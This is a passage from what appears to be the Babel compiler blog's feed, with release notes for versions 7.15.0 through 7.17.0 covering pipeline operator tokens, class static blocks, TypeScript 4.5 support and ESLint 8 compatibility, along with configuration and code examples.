<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">babel.config.json</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token property">"plugins"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"@babel/plugin-proposal-unicode-sets-regex"</span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<p>Babel relies on different third-party packages to transform regular expressions: we are grateful to the maintainers of <a href="https://github.com/jviereck/regjsparser/" target="_blank" rel="noopener noreferrer" class="">regjsparser</a>, <a href="https://github.com/bnjmnt4n/regjsgen" target="_blank" rel="noopener noreferrer" class="">regjsgen</a> and <a href="https://github.com/mathiasbynens/regexpu-core/" target="_blank" rel="noopener noreferrer" class="">regexpu-core</a> who took time to review our pull requests!</p>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="-and--topic-tokens-for-hack-style-pipes-13973"><code>@@</code> and <code>^^</code> topic tokens for Hack-style pipes (<a href="https://github.com/babel/babel/pull/13973" target="_blank" rel="noopener noreferrer" class="">#13973</a>)<a href="https://babeljs.io/blog/2022/02/02/7.17.0#-and--topic-tokens-for-hack-style-pipes-13973" class="hash-link" aria-label="Direct link to -and--topic-tokens-for-hack-style-pipes-13973" title="Direct link to -and--topic-tokens-for-hack-style-pipes-13973" translate="no">​</a></h3>
<p>We are continuing to help the proposal authors evaluate different tokens for the <a href="https://github.com/tc39/proposal-pipeline-operator" target="_blank" rel="noopener noreferrer" class="">pipeline operator</a> proposal: one of the champions, <a href="https://jschoi.org/" target="_blank" rel="noopener noreferrer" class="">J. S. Choi</a>, added support for two new tokens that you can try with the <code>topicToken</code> option:</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">babel.config.json</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token property">"plugins"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"@babel/plugin-proposal-pipeline-operator"</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token property">"proposal"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"hack"</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token property">"topicToken"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"^^"</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// or "@@"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<p>You can read more about the supported variations in the <a href="https://babeljs.io/docs/en/babel-plugin-proposal-pipeline-operator" target="_blank" rel="noopener noreferrer" class=""><code>@babel/plugin-proposal-pipeline-operator</code></a> docs.</p>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="experimental-babelregister-rewrite-13782">Experimental <code>@babel/register</code> rewrite (<a href="https://github.com/babel/babel/pull/13782" target="_blank" rel="noopener noreferrer" class="">#13782</a>)<a href="https://babeljs.io/blog/2022/02/02/7.17.0#experimental-babelregister-rewrite-13782" class="hash-link" aria-label="Direct link to experimental-babelregister-rewrite-13782" title="Direct link to experimental-babelregister-rewrite-13782" translate="no">​</a></h3>
<p>We plan to release Babel 8 as an ESM package. However, this poses a big problem: how to load and run it synchronously in CommonJS packages?</p>
<p>Usually most Babel consumers can run Babel asynchronously, or at least <em>load</em> it asynchronously. This isn't true for <a href="https://www.npmjs.com/package/@babel/eslint-parser" target="_blank" rel="noopener noreferrer" class=""><code>@babel/eslint-parser</code></a> (which integrates Babel's parser with ESLint) and <a href="https://babeljs.io/docs/en/babel-register" target="_blank" rel="noopener noreferrer" class=""><code>@babel/register</code></a> (which can be used to transpile Node.js files on-the-fly), where we need to move parsing and transforming to a separate worker.</p>
<p>Babel 7.16.0 exposes the new experimental <code>@babel/register</code> implementation at <code>@babel/register/experimental-worker</code>: it internally runs Babel asynchronously, so it's compatible with <a href="https://babeljs.io/docs/en/config-files#configuration-file-types" target="_blank" rel="noopener noreferrer" class=""><code>.mjs</code> configuration files</a> and with <code>.mjs</code> Babel plugins. It will be enabled by default in Babel 8, and you can already use it as a replacement for <code>@babel/register</code> with a few caveats:</p>
<ul>
<li class="">If you programmatically specify <code>@babel/register</code> options (using <code>require("@babel/register")({ /* ... options */ })</code>), you must make sure that they are serializable. This means that you cannot pass plugin functions defined inline, but you must move them to a separate <code>./my-plugin.js</code> file or to a <code>babel.config.js</code> file.</li>
<li class="">The new implementation is still experimental: it <em>should</em> have the same features as the existing one, but there are a few <a href="https://github.com/babel/babel/pull/14025#issuecomment-1003547657" target="_blank" rel="noopener noreferrer" class="">improvements</a> that we are exploring.</li>
</ul>
<p>We already released the new experimental <code>@babel/eslint-parser</code> implementation in <a href="https://babeljs.io/blog/2021/07/26/7.15.0#preparing-babeleslint-parser-for-babel-8-13398httpsgithubcombabelbabelpull13398" target="_blank" rel="noopener noreferrer" class="">Babel 7.15.0</a>, exposed at <code>@babel/eslint-parser/experimental-worker</code>.</p>]]></content:encoded>
            <author>team@babeljs.io (Babel Team)</author>
        </item>
        <item>
            <title><![CDATA[7.16.0 Released: ESLint 8 and TypeScript 4.5]]></title>
            <link>https://babeljs.io/blog/2021/10/29/7.16.0</link>
            <guid>https://babeljs.io/blog/2021/10/29/7.16.0</guid>
            <pubDate>Fri, 29 Oct 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[We just published Babel 7.16.0!]]></description>
            <content:encoded><![CDATA[<p>We just published Babel 7.16.0!</p>
<p>This release enables <a href="https://github.com/tc39/proposal-class-static-block" target="_blank" rel="noopener noreferrer" class="">class static initialization blocks</a> by default. It includes support for a new variant of the <a href="https://github.com/tc39/proposal-pipeline-operator" target="_blank" rel="noopener noreferrer" class="">pipeline operator</a> proposal, as well as TypeScript 4.5 compatibility.</p>
<p>Furthermore, <code>@babel/eslint-parser</code> now supports ESLint 8.</p>
<p>You can read the whole changelog <a href="https://github.com/babel/babel/releases/tag/v7.16.0" target="_blank" rel="noopener noreferrer" class="">on GitHub</a>.</p>
<p>If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our <a href="https://github.com/babel/babel?sponsor=1" target="_blank" rel="noopener noreferrer" class="">Open Collective</a> and, better yet, work with us on the implementation of <a href="https://github.com/babel/proposals" target="_blank" rel="noopener noreferrer" class="">new ECMAScript proposals</a> directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer" class="">team@babeljs.io</a> if you'd like to discuss more!</p>
<h2 class="anchor anchorTargetStickyNavbar_tleR" id="highlights">Highlights<a href="https://babeljs.io/blog/2021/10/29/7.16.0#highlights" class="hash-link" aria-label="Direct link to Highlights" title="Direct link to Highlights" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="class-static-blocks-enabled-by-default-13713">Class static blocks enabled by default (<a href="https://github.com/babel/babel/pull/13713" target="_blank" rel="noopener noreferrer" class="">#13713</a>)<a href="https://babeljs.io/blog/2021/10/29/7.16.0#class-static-blocks-enabled-by-default-13713" class="hash-link" aria-label="Direct link to class-static-blocks-enabled-by-default-13713" title="Direct link to class-static-blocks-enabled-by-default-13713" translate="no">​</a></h3>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">MyClass</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">static</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token function" style="color:#4271ae">doSomeInitialization</span><span class="token punctuation">(</span><span class="token maybe-class-name">MyClass</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token console class-name" style="color:#eab700">console</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">log</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"MyClass initialized!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<p>Static blocks, that <a href="https://github.com/tc39/notes/blob/HEAD/meetings/2021-08/aug-31.md#class-static-initialization-blocks-for-stage-4" target="_blank" rel="noopener noreferrer" class="">reached Stage 4 in August</a>, are now enabled by default in <code>@babel/parser</code> and <code>@babel/preset-env</code>.</p>
<p>If you were using the <code>classStaticBlock</code> parser plugin, or <code>@babel/plugin-syntax-class-static-block</code>, you can safely remove them from your config.</p>
<p>If you already use <code>@babel/preset-env</code>, you can now remove <code>@babel/plugin-proposal-class-static-block</code> from your config.</p>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="typescript-45-features-13802-13838">TypeScript 4.5 features (<a href="https://github.com/babel/babel/pull/13802" target="_blank" rel="noopener noreferrer" class="">#13802</a>, <a href="https://github.com/babel/babel/pull/13838" target="_blank" rel="noopener noreferrer" class="">#13838</a>)<a href="https://babeljs.io/blog/2021/10/29/7.16.0#typescript-45-features-13802-13838" class="hash-link" aria-label="Direct link to typescript-45-features-13802-13838" title="Direct link to typescript-45-features-13802-13838" translate="no">​</a></h3>
<p>TypeScript 4.5 introduces a new syntax for marking imports as type-only: rather than marking the whole import statement, you can mark a single specifier:</p>
<div class="language-ts codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-ts codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token comment" style="color:#8e908c">// TypeScript 4.4</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">import</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">type</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> Foo </span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"my-module"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">import</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> fooInstance </span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"my-module"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// TypeScript 4.5</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">import</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">type</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Foo</span><span class="token punctuation">,</span><span class="token plain"> fooInstance </span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"my-module"</span><span class="token punctuation">;</span><br></span></code></pre></div></div>
<p>It also supports two new file extensions: <code>.mts</code> and <code>.cts</code>, that mirror <code>.mjs</code> and <code>.cjs</code>. When passing an <code>.mts</code> or <code>.cts</code> file to Babel with <code>@babel/preset-typescript</code> enabled, it uses the file extension to detect the desired source type (<code>"module"</code> or <code>"script"</code>).</p>
<p><code>.mts</code> and <code>.cts</code> file cannot contain JSX code by default, but they cannot contain TypeScript annotations that would be ambiguous with JSX (<code>&lt;Type&gt; cast</code> and <code>&lt;T&gt;() =&gt; {}</code>).</p>
<p>You can read the full TypeScript 4.5 release post <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-4-5/" target="_blank" rel="noopener noreferrer" class="">on their blog</a>.</p>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="-topic-token-for-hack-style-pipes-13749"><code>^</code> topic token for Hack-style pipes (<a href="https://github.com/babel/babel/pull/13749" target="_blank" rel="noopener noreferrer" class="">#13749</a>)<a href="https://babeljs.io/blog/2021/10/29/7.16.0#-topic-token-for-hack-style-pipes-13749" class="hash-link" aria-label="Direct link to -topic-token-for-hack-style-pipes-13749" title="Direct link to -topic-token-for-hack-style-pipes-13749" translate="no">​</a></h3>
<p>The champions of the <a href="https://github.com/tc39/proposal-pipeline-operator" target="_blank" rel="noopener noreferrer" class="">pipeline operator</a> proposal are considering <a href="https://github.com/tc39/proposal-pipeline-operator/wiki/Bikeshedding-the-Hack-topic-token" target="_blank" rel="noopener noreferrer" class="">various topic tokens</a> (the reference to the value from the previous pipeline step).</p>
<p><code>@babel/plugin-proposal-pipeline-operator</code> (and the <code>"pipelineOperator"</code> parser plugin) now support three of them: <code>#</code>, <code>^</code> and <code>%</code>.</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> values </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">getNames</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token operator">|</span><span class="token operator">&gt;</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"default"</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">concat</span><span class="token punctuation">(</span><span class="token operator">^</span><span class="token punctuation">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token operator">|</span><span class="token operator">&gt;</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:#8959a8">await</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">loadValues</span><span class="token punctuation">(</span><span class="token operator">^</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre></div></div>
<p>You can enable the current version of the pipeline operator proposal using the <code>proposal: "hack"</code> option, and you can choose the topic token using <code>topicToken: "^"</code>:</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">babel.config.json</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token property">"plugins"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"@babel/plugin-proposal-pipeline-operator"</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token property">"proposal"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"hack"</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token property">"topicToken"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"^"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="eslint-8-support-in-babeleslint-parser-13782">ESLint 8 support in <code>@babel/eslint-parser</code> (<a href="https://github.com/babel/babel/pull/13782" target="_blank" rel="noopener noreferrer" class="">#13782</a>)<a href="https://babeljs.io/blog/2021/10/29/7.16.0#eslint-8-support-in-babeleslint-parser-13782" class="hash-link" aria-label="Direct link to eslint-8-support-in-babeleslint-parser-13782" title="Direct link to eslint-8-support-in-babeleslint-parser-13782" translate="no">​</a></h3>
<p><code>@babel/eslint-parser</code> now supports ESLint 8: you can update your <code>"eslint"</code> dependency and it will just work.</p>
<p>If you are an ESLint plugin author, pay attention to the breaking change in the AST for class fields and private methods: when using ESLint 7 they follow the <a href="https://github.com/babel/babel/blob/v7.16.0/packages/babel-parser/ast/spec.md" target="_blank" rel="noopener noreferrer" class="">Babel AST shape</a>; when using ESLint 8 they follow ESLint and the <a href="https://github.com/estree/estree/blob/91f49977f1f05dea86c112a070a703bb37f5722d/es2022.md#propertydefinition" target="_blank" rel="noopener noreferrer" class="">ESTree specification</a>. This is because ESLint introduced support for these new class features starting from ESLint 8.</p>]]></content:encoded>
            <author>team@babeljs.io (Babel Team)</author>
        </item>
        <item>
            <title><![CDATA[7.15.0 Released: Hack-style pipelines, TypeScript const enums and Rhino target support]]></title>
            <link>https://babeljs.io/blog/2021/07/26/7.15.0</link>
            <guid>https://babeljs.io/blog/2021/07/26/7.15.0</guid>
            <pubDate>Mon, 26 Jul 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[This release enables parsing top-level await (Stage 4 at the May meeting) and transforming ergonomic brand checks for private fields (Stage 4 at the July meeting) by default. There is also now support for the Hack-style pipeline operator. We also improved our TypeScript support, implementing transform support for const enums and namespace aliases, and we expanded our heuristics to add .displayName to React components created by React.createContext() (#13501).]]></description>
            <content:encoded><![CDATA[<p>This release enables parsing top-level await (Stage 4 at the <a href="https://github.com/tc39/agendas/blob/master/2021/05.md" target="_blank" rel="noopener noreferrer" class="">May</a> meeting) and transforming ergonomic brand checks for private fields (Stage 4 at the <a href="https://github.com/tc39/agendas/blob/master/2021/07.md" target="_blank" rel="noopener noreferrer" class="">July</a> meeting) by default. There is also now support for the <a href="https://github.com/js-choi/proposal-hack-pipes" target="_blank" rel="noopener noreferrer" class="">Hack-style</a> pipeline operator. We also improved our TypeScript support, implementing transform support for <code>const</code> enums and namespace aliases, and we expanded our heuristics to add <code>.displayName</code> to React components created by <code>React.createContext()</code> (<a href="https://github.com/babel/babel/pull/13501" target="_blank" rel="noopener noreferrer" class="">#13501</a>).</p>
<p>We also introduced a new compiler assumption, <a href="https://babeljs.io/docs/en/assumptions#noincompletensimportdetection" target="_blank" rel="noopener noreferrer" class=""><code>noIncompleteNsImportDetection</code></a>, to produce a smaller output when compiling ECMAScript modules to CommonJS without worrying about partially initialized namespace imports caused by module cycles.</p>
<p>Additionally, you can now specify <a href="https://mozilla.github.io/rhino/" target="_blank" rel="noopener noreferrer" class="">Rhino</a> as a compilation target.</p>
<p>You can read the whole changelog <a href="https://github.com/babel/babel/releases/tag/v7.15.0" target="_blank" rel="noopener noreferrer" class="">on GitHub</a>.</p>
<p>We're really grateful for all the support the community has shown over the last months, since our <a href="https://babeljs.io/blog/2021/05/10/funding-update" target="_blank" rel="noopener noreferrer" class="">funding post</a> update in May. Reach out at <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer" class="">team@babeljs.io</a> if you'd like to discuss about sponsorships!</p>
<h2 class="anchor anchorTargetStickyNavbar_tleR" id="highlights">Highlights<a href="https://babeljs.io/blog/2021/07/26/7.15.0#highlights" class="hash-link" aria-label="Direct link to Highlights" title="Direct link to Highlights" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="ecmascript-features-enabled-by-default">ECMAScript features enabled by default<a href="https://babeljs.io/blog/2021/07/26/7.15.0#ecmascript-features-enabled-by-default" class="hash-link" aria-label="Direct link to ECMAScript features enabled by default" title="Direct link to ECMAScript features enabled by default" translate="no">​</a></h3>
<p>In the last two meetings, the <a href="https://github.com/tc39/proposal-top-level-await" target="_blank" rel="noopener noreferrer" class="">top-level <code>await</code></a> and <a href="https://github.com/tc39/proposal-private-fields-in-in" target="_blank" rel="noopener noreferrer" class="">ergonomic brand checks for private fields</a> proposals reached Stage 4.</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword module" style="color:#8959a8">import</span><span class="token plain"> </span><span class="token imports operator">*</span><span class="token imports"> </span><span class="token imports keyword module" style="color:#8959a8">as</span><span class="token imports"> db</span><span class="token plain"> </span><span class="token keyword module" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"database"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword control-flow" style="color:#8959a8">await</span><span class="token plain"> db</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">connect</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// top-level await</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">DBConnector</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  #password</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">static</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">isConnector</span><span class="token punctuation">(</span><span class="token parameter" style="color:#f5871f">obj</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#8959a8">return</span><span class="token plain"> #password </span><span class="token keyword" style="color:#8959a8">in</span><span class="token plain"> obj</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// ergonomic brand checks</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<p>Babel now supports them by default, so you can remove the following plugins from your configuration:</p>
<ul>
<li class=""><code>@babel/plugin-syntax-top-level-await</code></li>
<li class=""><code>@babel/plugin-syntax-private-property-in-object</code></li>
<li class=""><code>@babel/plugin-proposal-private-property-in-object</code></li>
</ul>
<p>Please note that Babel can currently only parse top-level <code>await</code> and cannot transform it.</p>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="new-typescript-features-13324-13528">New TypeScript features (<a href="https://github.com/babel/babel/pull/13324" target="_blank" rel="noopener noreferrer" class="">#13324</a>, <a href="https://github.com/babel/babel/pull/13528" target="_blank" rel="noopener noreferrer" class="">#13528</a>)<a href="https://babeljs.io/blog/2021/07/26/7.15.0#new-typescript-features-13324-13528" class="hash-link" aria-label="Direct link to new-typescript-features-13324-13528" title="Direct link to new-typescript-features-13324-13528" translate="no">​</a></h3>
<p><a href="https://devblogs.microsoft.com/typescript/announcing-typescript-4-4/" target="_blank" rel="noopener noreferrer" class="">TypeScript 4.4</a> doesn't include any new syntax that we had to implement, other than a minor restriction: you cannot specify the value of an abstract class field.</p>
<div class="language-typescript= codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-typescript= codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">abstract class C {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    abstract prop = 1; // now a SyntaxError!</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">}</span><br></span></code></pre></div></div>
<p>However, we did add two TypeScript features that we have been missing for a long time: <code>const</code> enums and namespace aliases (<code>import Alias = Namespace</code>).</p>
<p>Previously we presented an error when using <code>const</code> enums since it requires type information to compile correctly. As a workaround, the community built plugins such as <a href="https://github.com/dosentmatter/babel-plugin-const-enum#readme" target="_blank" rel="noopener noreferrer" class=""><code>babel-plugin-const-enum</code></a>. Babel now ignores the <code>const</code> modifier when compiling enums, which matches TypeScript's behavior when using the <code>--isolatedModules</code> option.</p>
<p>If you want a more optimized output similar to the default code produced by TypeScript, you can enable the <a href="https://babeljs.io/docs/en/babel-preset-typescript#optimizeconstenums" target="_blank" rel="noopener noreferrer" class=""><code>optimizeConstEnums</code></a> option of <code>@babel/plugin-tranform-typescript</code> or <code>@babel/preset-typescript</code>.</p>
<div class="language-typescript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-typescript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token comment" style="color:#8e908c">// Input</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">enum</span><span class="token plain"> Animals </span><span class="token punctuation">{</span><span class="token plain"> Dog </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token builtin" style="color:#f5871f">console</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">log</span><span class="token punctuation">(</span><span class="token plain">Animals</span><span class="token punctuation">.</span><span class="token plain">Dog</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// Output (default)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">var</span><span class="token plain"> Animals</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">(</span><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">Animals</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span 